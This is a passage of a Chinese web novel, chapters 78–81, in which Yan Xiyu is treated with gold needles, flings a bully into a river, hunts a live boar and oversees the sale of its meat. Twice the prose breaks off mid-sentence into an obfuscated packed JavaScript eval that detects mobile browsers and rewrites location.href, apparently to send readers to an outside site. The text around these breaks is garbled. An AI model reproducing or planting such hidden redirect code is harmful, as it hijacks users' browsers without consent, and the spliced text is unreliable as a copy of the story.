“我去山里猎头野猪回来,”燕惜妤想到明日孙珍娘能拿来金针,她又说,“猎不到野猪,我就打几只野兔回来,一家还他们一只野兔。” 桑大娘说:“哪里需要每户还一只野兔,四户人家,一户还一只兔腿足够了。” “我明日上山看看,”燕惜妤转身往外走,“我去帮我三姐烧火。” “燕姑娘,进山请注意些,莫要逞强,”桑大娘在她身后叮嘱了声。 “好,我听桑大娘,”燕惜妤去帮罗采春烧火,“三姐,咱们今夜可以睡炕,终于不用再露宿荒野了。” “夜里也不怕会有狼跑来吃人了,”罗采春看着灶里的火说,“提心吊胆的日子总算是过去了。” “三姐,”燕惜妤侧头看着她,“明日你可能还要再提心吊胆一次。” 罗采春一顿,也转头看了过来:“方才你说要进山打猎,大山里猛兽太多,你可千万别乱闯!” “不是这事,”燕惜妤压低了声音说,“我们邻居是位女医,她手上有金针,明日佟兄弟借她的金针给我治病。” 罗采春原本还算平静的表情瞬间就变了:“……是不是会有危险?” “我也不知道,”燕惜妤实话实说,“要明日才知道,要是我……” 她话没说完,罗采春一把就捉住了她的手,急切道:“不许说!” 燕惜妤立即闭紧了嘴巴。 “你先前总是能逢凶化吉,这次定也有菩萨保佑,”罗采春说这话也不知是安抚燕惜妤,还是安抚她自己,“明日你也会好好的。” “三姐说什么就是什么,”燕惜妤点点头,“要是阿七过来时我不在,三姐就同他说我去荒漠了。” 平平静静的一句话,立即叫罗采春红了眼眶,她拧着眉说:“我才不说,他要真过来,你自己同他说去。” 燕惜妤笑着没说话。 罗采春看她这样,伸手要打她:“你只记得他,你就没话同我说?” 燕惜妤被拍了一巴掌,还是笑着说:“可是三姐你也不让我说啊。” “你去同小满儿坐一起去,”罗采春挥手赶她,“看着你就心烦。” 燕惜妤只得去和小满儿他们一起玩。 罗采春背对着她坐在灶前,无声地擦了擦眼睛。 吃过饭,各自按之前说好的来休息。 这个时辰外边偶尔也会听见脚步声,但他们这些人千里迢迢来到这乌州,明日醒来总算不用再赶路,就都想早早歇息。 锁头还没买,但在屋里用的是木门闩,夜里歇息倒也还算安全。 因为没有油灯,关了门窗之后,屋里黑漆漆的,好在燕惜妤拿了根柴火进来。 先去小屋看了看几个小孩,见他们都睡的安稳,她们几个大人这才上炕歇息。 好不容易到了乌州,又人人都有了户籍,还有房子可以住,原本他们该是能睡个安稳觉的。 结果次日醒来一看,有好几个人眼下都泛着青色。 仲四仲五和佟槿方睡一屋,此时见佟槿方这样子,都有些心虚:“佟兄弟,我们夜里打鼾吵到你了吧?” “不是,”佟瑰方连忙摆手,“我心里想着事难入眠,同你们无关。” 罗采春也顶着满脸的愁容蒸了些饼,这些饼还是曾管事给他们的,没剩下多少了,罗采春心里藏着事,也就拿这些随便对付一下。 不过大家对吃食这方面是真的不挑,有的吃已经很好了,他们每个人都是饿过肚子的,对于他们来说,任何食粮都是最珍贵的。 孙珍娘带着孙素过来时,屋里只剩下燕惜妤、罗采春还有佟瑰方俩姐弟,其他人包括几个小孩儿都跑出去了。 初到一个新地方,小孩子总是对周围的一切都充满好奇。 “只你们在?”孙珍娘原以为燕惜妤治病是件大事,却没想到只留下了一个女子。 佟瑰方姐弟俩是施针的人,所以真正不相关的人只有罗采春。 “我们才刚到这边,家里空荡荡的,连烧水的柴火都没有,他们都出去砍柴了,”燕惜妤招呼她们师徒进屋,“孙女医请进来坐。” “我就不进去坐了,”孙珍娘摇摇头,从孙素手中接过药匣,然后取出了用皮子卷着的金针递了过来,“这是我师父送我的金针,暂时借予你们一用。” “多谢孙女医,”燕惜妤双手接过,转手递给了佟瑰方,看着佟槿方说,“既然孙女医送来了金针,那我们便开始吧。” 佟槿方站着没说话,其他人看着他,也没人开口催促他。 过了好一会儿,他才看着燕惜妤说:“好。” 79. 第79章 从佟瑰方姐弟俩和燕惜妤进屋后,罗采春就开始在屋外院子里走来走去。 她显得很紧张,双手牢牢攥在一起。 孙珍娘和孙素就坐在院子里的木桩上等着,那些木桩还是仲茂砍回来的,看院子里没凳子,就暂时拿来当凳子用。 当桑大娘背着装有野菜的背篓回来时,看见的就是罗采春双手合十对着屋门站着。 “罗姑娘,你这是?”桑大娘眉头缓缓皱了起来,她还看了好几眼孙珍娘师徒,估计是在猜测她们的身份。 就在这时,屋门忽然从里打开,燕惜妤半披着头发,右手边按着头顶边走了出来。 “阿妹!”罗采春一个快步冲上来,“你如何了?” “我没事,”燕惜妤揉了揉头顶,“没什么感觉,所以我才在头上摸摸,看看会不会痛。”反正金针是扎过了,至于到底好没好……还得在她使用了天赋之后才能知道。 “头痛吗?”罗采春慌忙掂起脚尖想帮燕惜妤看看头顶,“我看看,莫不是出血了?” 桑大娘在一旁看着她俩,皱着眉问:“燕姑娘,你这是?” “我有点儿不舒服,刚好咱们邻居是位女医,她身上有金针,我就借来给佟姑娘帮我扎针,”燕惜妤半真半假地说,“佟姑娘姐弟说我这一路太累了,怕一下子歇下来会打蔫儿,说金针有定神的奇儿,我就借来了。” 佟槿方刚好走出屋来,听见燕惜妤这张口就来的话,悄悄地瘪了瘪嘴。 她倒是不怕,伸出脑袋让他给扎针,不知道的,还以为那不是她自个的脑袋。 佟瑰方也走了出来,她手里拿着孙珍娘的金针,一出来就还了回去。 孙珍娘也不多待,和燕惜妤隔着几人互相看了一眼,然后带着孙素离开。 “方才那俩僧人是女医?”桑大娘忽然问。 “是,”佟瑰方点头,“孙女医的师父师祖都是女医,在仓州颇有声名。” 桑大娘又问:“她们是我们的邻居?” “就住在我们这排头一间的屋子,”佟瑰方,“走两步就到了。”她的语气有少少雀跃,像是对孙珍娘俩师徒很有好感。 桑大娘看她这样,摇了摇头:“佟姑娘,你莫是忘了你和你阿弟也想行医?” 这话不仅让佟瑰方一愣,旁边其他人也顿住了,就连罗采春也不扒拉燕惜妤头顶的头发了。 “对啊,她们师徒也行医,而且她已经是女医了,我们却是连郎中都还不是,”佟槿方瞬间就跳脚了,“我们同他们住得如此近,屯里的人不得全去寻她治病,哪里还会有人来我们这!” 几人面面相觑,然后很有默契地一致转头看向燕惜妤。 燕惜妤摊手道:“我也没辙。” “燕姑娘,要不你夜里悄悄潜过去,然后……”佟槿方边说边抬起手横放在颈前再一划。 “……她们才刚帮了我,就算她们不把金针借给我,我也不至于为了这事去杀人,”燕惜妤好笑道,“你放心,这边地有四位郎中,屯里的人只会觉得更放心,会有人来找你治病的。” 佟槿方其实也只是说说而已,他还没那胆子去杀人。 这时,仲茂他们各自背着成捆的柴火回来了,后头还跟着使劲儿拖着根树枝的几个小孩。 “哎哟,小娃儿力气真大,”桑大娘笑着说,“这地儿可够你们耍的了。” 其他人过去帮忙,燕惜妤也想过去,佟槿方却凑了过来:“你如何了?” 燕惜妤一听就知道他是在问她扎了金针之后的感觉。 “好像没什么变化,”燕惜妤又摸了摸自己的头顶,“等我找个机会试一试。” 燕惜妤原本是想着去山里试的,但没想到屯里那个平日惯会恃强凌弱的莽汉却撞了上来。 当时燕惜妤都已经收拾整齐,戴着箬帽手拿砍刀要进山了,小满儿却哭着跑了回来。 在她身后还跟着阿转和小玉彩,全都白着脸流着泪。 “怎么了?”燕惜妤连忙半蹲着去将他们三人圈在怀里,“怎么哭了?是不是有人欺负你们?” “是呜呜呜!”小满儿哭的上气不接下气,边哭还边不停地点头。 “带我过去看看,”燕惜妤牵着小满儿,让阿转和小玉彩跟在身后,“不怕,燕姐姐在呢。” 她原以为是小孩子之间的打闹,却没想到是一个莽汉欺负桑大娘和罗采春,旁边还有好些看热闹的人。 “阿妹!”罗采春一看见她来,慌忙想向这边走,但那莽汉却一下子张开双臂拦住了她。 只不过那莽汉的身形都还没站定,只觉得眼前一花,有人就挡在了他面前。 “嗬?!” “咦?!” “哇!” “呦!” “这姑娘可真了不得啊!” “好快的身法!这是哪家的轻功?” 那莽汉却是不?,他胡子拉碴的,眼神很凶狠:“你是哪条道上的?” “我是刚来边地的百姓,”燕惜妤看着他,“你不就是知道我们是新来的,才欺负我们吗?” 莽汉大声道:“你家那姐妹生得甚是好看,我看中她是你们的福分。” 罗采春被燕惜妤护在身后,这时倒是不怕了,很是厌恶地“呸”了一下:“你快滚!要再敢歪缠,我阿妹定不会饶了你!” “哈哈!”莽汉听了她这话,顿时大笑出声,“会点子轻功就敢说这样的大话,我倒要看看你阿妹是如何不饶我……” 他话还没说完,燕惜妤忽然就侧身抬手,下一霎,那莽汉就像破口袋似的被甩飞了出去,他的身影划过看热闹那些人的头顶,然后“咚”的一声,落入了不远处的那条河里。 现场瞬间鸦雀无声! 虽然那条河离这边不过是半里地,可也没谁一抬手就能把人给扔出半里地的啊! 围观的人这会儿是连喘气都不敢有声了,这姑娘太吓人了! 那倒霉蛋都没见从河里爬上来,该不会是淹…… 哦,看见脑袋浮出河面了,人还活着。 也不知是谁出声长吁了一口气,燕惜妤转过头看了过去:“你认识落水那人?” 本来那人站在人群中,这会儿四周的人唰一下默契地向旁边散了开去,只留他孤零零一个人愣在原地。 他看燕惜妤正看着自己,慌忙避开视线,缩着脖子吱吱唔唔:“是……是、是认识……” “那你去告诉他,”燕惜妤忽然提高了声音,“若是敢再做同样的事,我要他的命。” 她这话的语气倒是听着不像生气,但旁边听见她这话的那些人,却知道这句话是对他们说的。 那人缩着脖子胡乱地点头:“是是!我一定同他说!” 燕惜妤又扫了眼四周围观的人,那些人全部下意识避开了她的视线。 燕惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895839|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妤冷哼了一声,然后抬脚朝着河边走去。 罗采春连忙问她:“阿妹要去哪?” “我去那河边看看,”燕惜妤对她摆了摆手,“三姐你和桑大娘先回去。” 她边说,边从一直围观着的那些人旁边走过,那些人“哗啦”一下,很有默契地往后退了好几步,硬是给她让了不需要让的路。 等燕惜妤从他们身边走过之后,他们看着她的背影,顿时开始了交头接耳。 “嗳你说,这姑娘怎的要去看那河?” “就是,那河能有什么好看的?” “……该不会是去看看那河底有多深,然后再把屯里住着的人都给扔到河里去?” “……?!!!” “你这玩笑话也太吓人了些!” “就是就是!” “散了都散了吧,咱也要回去了。” 没一小会儿功夫,先前聚成堆看热闹的人,一转眼就全都走了。 只有燕惜妤还面对着河水在发呆。 这小河不宽,但河底很深,水很浑浊,像是在上流冲刷过山泥,河水才会是这黄泥色。 浑浊的河水照不清燕惜妤此时脸上震惊的表情。 她刚才抬手将人甩飞出去时,没想到能将人给扔出这么远。 她穿到这里后,天赋受到限制,除了使用天赋就会出现魂魄离体的后遗症之外,她也没办法完全施展出她原有的天赋。 但就在刚刚,她的天赋与她的身体终于契合了。 虽然佟槿方用金针给她扎了头顶的穴位,但佟槿方也说过如果再不行,还可以配合喝药和药浴,她以为自己的离魂症还没有好,所以刚才她将人扔出去时,根本就没有控制力道。 按照她穿过来后的天赋情况,她只能把人扔出几米远。 但现在她把人扔出了几百米远,这就证明她的离魂症治好了! 佟槿方不愧是小神医,孙珍娘的金针也不愧是能定神的金针! 燕惜妤攥紧了拳头站了一会,又缓缓松开了。 虽然是觉得离魂症治好了,但只这一次也无法确定,她需要再去确认一下。 这边燕惜妤还在想着再次确认,那边仲茂几兄弟背着柴火回来时,总觉得屯里人看他们的眼神很奇怪。 他们一回来就和其他人说了这事,桑大娘和罗采春都有些回避他这个问题。 因为罗采春一个姑娘家被人调戏,桑大娘不好在他人面前说这事,罗采春自己也不想再提这事。 只有佟槿方一脸茫然:“什么怪事?”他当了十年的乞丐,早就习惯了他人对他投来的各种视线,他是真没感觉出来。 “没事,”佟瑰方给他碗里放了一个白馍,“先吃了再说话。” 等吃过饭,佟槿方早就已经把这事给忘了。 夜幕刚降临,四周的屋子有些点了油灯,也有人在院子插了火把,还有人这时才刚从外面回来。 燕惜妤他们没油灯也没火把,只能让院子里的灶火继续燃着,他们就在灶火旁边坐着闲聊。 “还有好些要买,大锅铁镬都要买,都已经有自个的屋子了,”佟瑰方取出了一个钱袋,“我这里有些银两,燕姑娘你拿去先用着,待我同我阿弟行医赚到了银钱再给你。” “不用你们的钱,”燕惜妤摆了摆手,她转头看了眼边地最高的大山,说出了她的决定,“明日一早,我进山一趟。” 80. 第80章 边地最大最高的山是临阜山。 临阜山作为横跨两界的大山,一半有大承境内,一半在荒漠。 荒漠不仅是大沙漠,还有草原。 燕惜妤背着一个有盖的背篓,站在临阜山半山腰的一棵大树上,双脚踩着一根腕粗的树木,面对着荒漠的方向。 从临阜山往下看,那边是一望无际的草原,隔很远才看见几顶夷狄人居住的毡包,毡包旁边有围栏,里面看着像是养着羊和牛。还有一些棚子,估计是养马的地方。 燕惜妤还看见成群连片的牧群,但不清楚是夷狄人圈养的,还是野生的。 如果是野生的…… 荒漠上无主的牛马羊,谁套到了就归谁,包括骆驼也一样。 只不过想把大量套到的野畜带走有点难,带它们翻山肯定不行,只能从边卡那边过。 燕惜妤正在出神地看着草原上的牛马羊,身后倏地响起极细的破空声,她凭感觉反手就是一刀,“嚓”的一声,有东西被她手中的刀劈成半截,然后掉落到下方人高的野草里。 这临阜山里什么猛兽野物都有,树上尤其多毒蛇。人手臂那么粗的蛇,足足有半棵树那么高。 燕惜妤刚才不经意看见,还以为是树上挂了一根长藤蔓,然后再仔细一看,那蛇头已经缓缓垂到了她面前。 一想到那情景,燕惜妤浑身的鸡皮疙瘩就全都起来了。 燕惜妤抖落一身的鸡皮疙瘩,脚尖一点,整个人已经跃了出去。 树下都是人高的野草,根本没路,她只能从树上走。 但树上也有不少各种有毒的动物和昆虫,巴掌大的蜘蛛结的蛛网差点儿兜头就把它给罩住了。 燕惜妤侧身闪过,眼角余光扫到了一棵枯木的树头长有成片的紫色。 “咦?”燕惜妤翻身跃了过去,然后落在一棵树的横枝上,仔细看了看那层层叠叠长在一起的植物,“这是灵芝?” 燕惜妤不能确定,毕竟这深山老林里,有毒的和没毒的都生长在一起,单凭眼睛很难分辨出来。 于是她从背着的背篓里取出了一个麻布袋,这麻布袋还是之前陆家商队的曾管事用来装送给他们的食物的,罗采春洗干净之后就收了起来,她进山时带着,原本是想摘些野果回去的。 也不知道这山里会有什么野果树? 山太大了,燕惜妤直到现在都没能见到一棵树上挂有果子的树。 小满儿几个小孩还在等着她给带果子回去,要是没找到果子,小孩子们估计会很失望。 尤其是小满儿,她还跟着去到了山脚下,这时也不知是不是还等在那里。 “小满儿,回去了,”阿谦慢吞吞地走过来。 他受伤的双腿好的差不多了,佟瑰方让他每天下地走一小会,但不能走太久,怕骨头长不好。 “不!”小满儿坐在一块石头上,面对着山脚的方向,“我要等燕姐姐回来!” “你在这都等了四个时辰了,”阿谦看看天边,日头已经西落了,“太嬷让我喊你回去。” “我不!”小满儿有她自己的坚持,“燕姐姐说要给我带果子回来!” “唉,”小小年纪的阿谦已经会叹气了,“燕姐姐没说过要给你带果子回来,她只是说如果在山上看到就摘回来给我们吃,如果没看到,就去买些回来。” “我不要吃花铜板买的,”小满儿噘嘴,“我要吃燕姐姐从树上摘下来的。” 她还小,之前家里穷,没见过银子,只认识铜板,她舍不得拿铜板买果子,因为铜板要拿来买谷子。 这下阿谦也不知道该说什么了。 就在这时,山脚下的那片树林里忽然传来了“哼哼哼”的声音。 “这是……野猪?!”阿谦一把拽起小满儿就想跑,他之前带着阿转和玉彩躲在山里,听见过野猪的叫声。 但他的双腿还伤着,手里又还拽着个小满儿,根本就跑不快。 被他拽着的小满儿倒是不知道害怕,瞪圆着眼睛盯着那片树木,然后她就看见了她一直在等着的燕姐姐。 “哇!是燕姐姐!” 阿谦脚步一顿,半信半疑地转头看了一眼—— 燕惜妤就像是个刚赶集回来的人,背上背着的,肩膀挎着的,手臂上挂着的,还有手上拎着的,另一只手还攥着好几根长藤条。 一根藤条捆着一只小鹿,另一根藤条捆着一只大灰兔,最后一根藤条竟然捆着一头大野猪。 那头脏兮兮的野猪头和嘴都被藤条五花大绑着,一只前蹄和一只后腿都瘸着,蔫头搭脑的,偶尔哼哼两声,半死不活地被燕惜妤拖着走。 “燕姐姐……”阿谦愣愣地说,“捆了头大野猪回来,还是活的!!!” “燕姐姐!”小满儿中气十足地吼了一嗓子,然后挣脱阿谦的手,朝着燕惜妤飞奔过来,那两小短腿蹬蹬蹬的,可欢快了。 “哎哟是小满儿呀,”燕惜妤对她挥挥手,连忙叫停她,“站那儿哟,大野猪会拱人的,你先站旁边,我把小鹿和兔子给你牵,好不好?” “好!”小满儿躲着大野猪站着,眼睛一眨不眨地瞧着小鹿和灰兔。 燕惜妤这才把手里拎着的先放在地上,然后把捆着小鹿和灰兔的藤条往旁边递:“来,牵着吧。” 小满儿嗖地就冲了过来,伸出小手紧紧攥着两根藤条,嘴里同时叫了句:“驾!” 燕惜妤顿时就被逗乐了:“牵回去吧,慢些。” 小满儿完全不听她的,一转身拖着小鹿和灰兔就跑。 还没跑几步,桑大娘找来了。 桑大娘看她那样,摇着头向燕惜妤走来:“怎的去了这么久?” 燕惜妤一进山,大家伙就都开始心不在焉,估计是怕她在山里出事,尤其是佟槿方,双手攥着银针望着大山的方向常常走神。 “我迷路了,”燕惜妤笑着说,“上山的路和下山的路不一样,我没记住方向。” “下次别去太远,我打听过了,边地巡山的将士和猎户没上到半山腰,只在山脚再往上一点,你别进深山,里面危险,”桑大娘边说边看了看燕惜妤带回来的东西,“寻摸这么多好吃的带回来?” “大山里全是宝,”说到这个,燕惜妤顿时就来精神了,“走几步就能看见好东西,但我带不回来,只能随便摘了些。” 桑大娘抬头望向大山,她那伛偻的腰背这时仿佛挺直了:“这大山里还有更好的,且能让人一步登天的宝。” 她这话像是意有所指,燕惜妤以为她说的是那些珍稀的药材,于是笑着说:“那可都是无价宝,谁摘到就是谁的。” “姑娘,”桑大娘侧过头来看着她,“大山无主,就算能找到再好的东西,见了光就会招惹来祸端。” 燕惜妤愣了一下,然后眨巴眨巴眼睛:“谁敢来抢我手里的东西。” “姑娘,有些人要财不要命,”桑大娘的声音似充满了苍凉,“姑娘可不能大意了。” “也对,”燕惜妤皱着眉想了想,“我得想个办法避开那些没必要的麻烦事。” 桑大娘笑看着她沉思,然后说:“姑娘,这大山若是有主,那就名正言顺了。”虽然强盗总是抢夺属于他人的财物,但总不能因为怕被强盗惦记就去当乞丐吧。 桑大娘抬头注视着燕惜妤,就是不知道眼前这姑娘是怎样想的。 燕惜妤垂眼看向桑大娘,眼神闪烁着:“桑大娘,你和我想到一处去了,可我要怎样才能拥有一座大山呢?” 这下到桑大娘笑了:“我这么一个啥也不懂的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几人说着话慢慢往家走,这时已是后晌,屯里很多人都在家,他们之前被燕惜妤一手就将人给甩飞到半里外的事迹给惊到了,自那之后总是有意无意地窥视着燕惜妤他们住的屋子。 这时见燕惜妤拖着头活着的大野猪回来,个个又是惊得目瞪口呆。 他们也没见过有哪个猎户进山活捉野猪的,就算是挖陷阱捉住了野猪,那也得大半个屯里的汉子去帮着才能抬回来,结果这姑娘只拿根藤条就把野猪给牵下了山! 这姑娘当真是招惹不得,万一要是不如她的意,她不得将他们这些人也像捆野猪似的绑起来拖着满屯走! 燕惜妤拖着头野猪,在屯里各邻居的注视下,走到了罗采春住的那屋子。 不过野猪没牵进院子,只给绑在了院子前,这得先问过屯长才能杀。 才刚提到屯长,梁屯长就来了。 他是和仲茂他们五人一起过来的,仲茂他们照样背着柴火,梁屯长嫌弃他们走的慢,还催促他们。 “快些走,你们那位燕姑娘捉了头野猪回来,你们就不想去瞧瞧?” 仲茂他们不想瞧,当初他们在悬崖村的时候,已经瞧够了野猪。 等他们到的时候,那头绑在院子外的野猪四周已经被人围的水泄不通。 “哎哎哎!”梁屯长扒拉着挡路人的肩膀,“让让哎,他们家的人回来了。” 他这话一出口,围着野猪的人倏地转过身来:“谁是仲四?” 仲茂他们互相看看,然后瞪着眼睛问:“你们想做啥?” “喊仲四杀野猪啊!” “谁是仲四?” 仲四向前一步,才刚张嘴说出一个“我”字,人就已经被人七手八脚抬走了。 只留下傻了眼的仲茂他们。 81. 第81章 仲茂四人和梁屯长互相看看,仲茂迟疑着问:“屯长,咱屯里难道杀野猪要先祭屠夫?”要不为啥子把仲四给架走了? “他们那是去和屠夫商量杀猪的场地去了,”梁屯长笑眯眯地说,“在咱屯里杀猪可是大事,你要知道咱边地的这些屯住的要不是流放的犯人,要不就是和你们一样都是山长水远过来的百姓,谁手里都没银子,除了那些军户隔几日能吃上肉,咱这些人嘴里都已经淡出个鸟来了,今儿见到活的野猪,个个都开心。” 其实那些流放的大家族的手里倒是有钱,但他们是被皇帝下令流放的罪人,他们就算拿出钱来,别人也不一定敢做他们生意,因为怕被牵扯进各种事非中。 再者那些人也不敢明着拿出钱财去城镇上大肆花销,毕竟暗地里不知道还有什么人在盯着他们,他们在边地只能缩着脖子过活。 不过这些事仲茂不清楚,他以为别人要抢走野猪,瞪着眼睛急道:“……屯长,那野猪和屯里的其他人可没关系啊!那野猪是咱家燕姑娘捉回来的,你们这是打算明抢?” “哪能呢,”梁屯长摆着手说,“那么大的一头野猪,你们几家也吃不完,就卖些给咱屯的邻里也是可以的嘛。” “你们用铜板来买咱的野猪肉?”仲茂已经开始在心里计算一头大野猪能赚到多少银子了。 “你们要是想同我们换些别的家当,也是可以的,”梁屯长说,“像你们几家也没有炕桌炕箱,你们若是需要,可以和木匠好好说说,其它的物件也一样,咱都好说。” 仲茂想了想才说:“这我也拿不准主意,我得先问过几位姑娘。” 他们这些人,当家的是燕姑娘,管事的却是罗姑娘,他们可不敢随便做主。 “行,那你去问,”梁屯长对他挥挥手,眼睛却在巴巴地盯着那头大野猪,“瞧这对大耳朵,还有这身厚皮,这身皮可真是好啊!” 燕惜妤其实在院子里将他们之间的对话听得一清二楚,不过她还是等仲茂进来对她重复了一遍梁屯长说的话。 然后她对仲茂说:“这事你去问我三姐,她怎么说,你们就怎么做,要是我三姐在忙,你就找桑大娘和佟姑娘。” 她不是想当甩手掌柜,只是因为她以后若是经常要进山里,屯里的事情必须要由另外一个人来做决定,想来想去,还是三姐最适合。 其他人若是离开她,其实都可以好好活着,虽然艰难些,但底层老百姓谁都是一样的活法。但三姐不行,三姐被通缉的画像说不定还贴在某座城里,她若是独自离开,想来不会活得比现在好。 除了罗采春,其次就是桑大娘。 桑大娘带着个小满儿,老的老,小的小,比罗采春还艰难。 不过小满儿这会儿倒是很开心,一手牵小鹿,一手牵大灰兔,走路都是横着走的。 除了阿谦他们三个小孩跟着她,屯里其他小孩也围着她,胆大的还敢伸手摸小鹿,胆小的只能眼巴巴看着。 “燕姑娘,”身后传来佟槿方的声音,燕惜妤回头看他,“怎么了?是不是那些灵芝有毒?” 燕惜妤虽然知道那些是灵芝,但她无法确定是什么品种的灵芝。 因为她压根就不认识长在山里的草药,她连买到的切片药材有很多都认不出来名字。 佟槿方摇摇头:“没有毒,都是上品赤灵芝,若是卖给药材铺,能卖个好价钱。” “没有毒就行,日后我上山多摘些回来,你和佟姑娘负责晒干,卖到的银子你们自己收着,”燕惜妤怕他还记着孙珍娘俩师徒的事,于是又说道,“孙女医师徒虽然是咱邻居,但她们手上没有灵芝,抢不走屯里所有想治病的人,你不用太在意她们。” 佟槿方抿了抿嘴唇,其实他不是在意孙女医师徒,他在意的是燕惜妤对他和他阿姐的想法,他怕燕惜妤觉得他和他阿姐没用,会赶他们走,所以他才会故意提孙珍娘。 他是想告诉燕惜妤,不是他和他阿姐没用赚不到银钱,是因为他们的邻居是女医,抢走了原本该来寻他们看病的人。 他想对她说声多谢,多谢她救了他阿姐,多谢她将他和阿姐带到边地落了户籍,也多谢她没有因为治好了离魂症就赶走他们。 他欲言又止,到嘴的话却还是变了:“我……这个你拿着。” 他从怀中取出了一个拳头大的半旧布制药袋,那药袋缝着就像个葫芦似的,束口的绳子还是绿色的,像葫芦嘴上的两片叶子。 “这是什么?”燕惜妤接过来看了看,“里面装着药丸?” “是我阿娘缝给我的药袋,里面是一些救命药丸,那些药丸是我姐煎制的,黑色药丸口服止痛,棕色药丸碾碎了敷在伤口上治血,红色药丸解毒,”佟槿方的视线在燕惜妤手上的药袋看了一眼,“你随身带着吧,药丸要是没……你还是别用到那些药丸了,就带着保平安。” “你阿娘送你的?”燕惜妤记得他是六、七岁去当了乞丐,这药袋他随身带了十年,于是她把药袋递了回去,“你阿娘给你的,你自己好好收着,我随便拿个布袋装着药丸也行。” “药丸不是什么布袋都能装的,这方面很有讲究,”佟槿方板着脸说,“给你就拿着,我佟槿方不至于舍不得一个药袋。” 他说完转身就走开了,连燕惜妤想喊他说声谢谢都没停下脚步。 燕惜妤低头看看手里拿着的药袋,笑了笑,又叹了口气。 她身边的这些人陪着她一路来到这荒凉的边地,她希望日后他们都能过得比以前好,但她自己现在一穷二白的,虽然心中有计划,但在计划没有成功之前,一切都是空谈。 这时梁屯长走了过来:“燕姑娘,怎的没去看杀野猪?” “仲四把野猪杀了?”燕惜妤转身看他,“屯长特地来喊我去看杀猪?” 梁屯长明显是有事才来找她,只见他搓着双手说:“是这样,那野猪皮太厚了,仲四是直接剥了猪皮,还有那猪头,獠牙森森的,仲四也不打算要。” 燕惜妤看着梁屯长没说话,他们这一路上有时都要挖草根填肚子,仲四不可能会舍得不要猪皮猪头的人,肯定是梁屯长劝他不要猪皮猪头的。 “屯长,我没工夫想那野猪,”燕惜妤说,“我在烦心着别的事,正想找人问问。” 梁屯长眼睛一亮:“哦,不知燕姑娘想问些什么?” “我要是从荒漠那边套到野马野牛,我该如何带着它们过关卡?”燕惜妤直接问,“我也眼馋那些野羊很久了,想套几头回来解解馋。” “野羊好啊,那身厚皮子,两头羊皮子就能让人在边地的大雪天里不挨冻,”梁屯子一脸的兴奋,“燕姑娘如果套了野羊回来,给我留几身羊皮子,我给我娘和我家婆娘一个做一件皮裘。” “那也得是我这边的人每人先一件皮裘,再有剩才能轮到你们买,”燕惜妤有啥好的都要先想到自己的人,“屯长,你得先帮我想想我怎样才能把野羊从边卡带回来。” “这个简单,我给你写好路引,然后你再拿去羿家军那边给盖个章子,”梁屯长对于这方面的事情还是熟悉的,“边卡归羿家军管,只要有羿家军的章子,你就能出入边卡,一般是单独出入都没事,人多不行,带着铁器兵器也不行。” 他提到羿家军,燕惜妤一下子就想到了进山的猎户会跟着羿家将士去巡山,忽然间就想到了阿七。 到时候也要给阿七留一身羊皮子,再给阿盛留一身,也不知道他们现在怎么样了。 梁屯长见燕惜妤在沉默,以为她是担心无法拿到羿家军盖的章子,于是拍着胸脯说:“燕姑娘要是有需要,我到时同你一起去羿家军。” 燕惜妤回过神来,对梁屯长点点头:“那到时候就要劳烦屯长了,那野猪皮和猪头我们也确实不懂如何收拾,屯长要是不嫌弃就拿去吧,只是那猪皮猪头要是收拾干净估计要废好些工夫。” “嗳,不碍事,我能收拾得了,”梁屯长搓搓手,“我也不白拿,我给你们铜板。” “屯长,你这话就见外了,”燕惜妤笑着说,“猪皮猪头能值几个钱,那猪肉才值钱,屯长要是拿铜板买猪肉我二话不说准收了,可你要是拿钱买猪皮猪头,那不是让屯里人都来笑话我吗,屯长可不能让我当那没脸的人。” “哎,不会的不会的,屯里人这会儿都在等着买猪肉呢,没谁会知道,”梁屯长连连摆手。 “要卖猪肉了?那我可得瞧瞧去,”燕惜妤边说边往院子外走去,“屯长你回家拿个盆来装猪皮猪头,我先过去了。” 屯子口那边有处空地,边上有好几棵大树,树下还摆着好几个有大碾子那么大的木桩,仲四就在木桩上砍着野猪骨头,旁边还有仲三和仲五在帮忙。 因为是直接剥猪皮,不用去猪毛,所以这会儿野猪已经被分成了两半。 四个猪蹄猪肘子都另外放着,猪皮猪头也另外放着,猪血也拿木盆接了。那盆估计是屯里谁家拿来的,毕竟燕惜妤记得她没见过这东西。 除了他们这屯里的人,另外几个屯也来了好些人,那些人这时正将仲茂和仲二围在中间大声嚷嚷着。 “这么大一头野猪,一户人家半刀肉准是够几个屯分的。” “凭啥子要分给你们外屯的,咱自个屯里的人家要两刀肉,半刀肉不够吃!” “嗬!半刀肉你还不够吃,平日半刀肉都是好几户人家分着吃的,你难道想全给昧下来?” “什么叫昧下?!这本来就是咱屯里的人,同你们外屯的有什么关系!不许你们来抢我们屯的肉!” 说着说着,都快要动起手来了。仲茂和仲二被围在中间,一时左右为难。 结果不知道谁看见了燕惜妤,猛地咳了一声,刚才还脸红脖子粗的大家伙儿一转头,瞬间全都不吱声了。 燕惜妤纤纤身影站在那里,竟然比任何凶神恶煞的人物都好使,几个屯里的人无论谁见了她都得避让几分。 “姑娘,”仲茂连忙走了过来,他有些苦恼地说,“这野猪肉该咋卖哦,几个屯里的人都快打起来了。” 他一个以前给富户打扫马厩的老百姓,哪里见过这种阵势。 “等阵梁屯长会过来,你让他和其他的屯长商量好了再来买肉,”燕惜妤趁机对他说,“以后要是再遇到同样的事情,你就找能管事的人出来,有几个能管事的就找几个,将事情交给能管事的来处理,他们要是处理的不好,那是他们的事。” 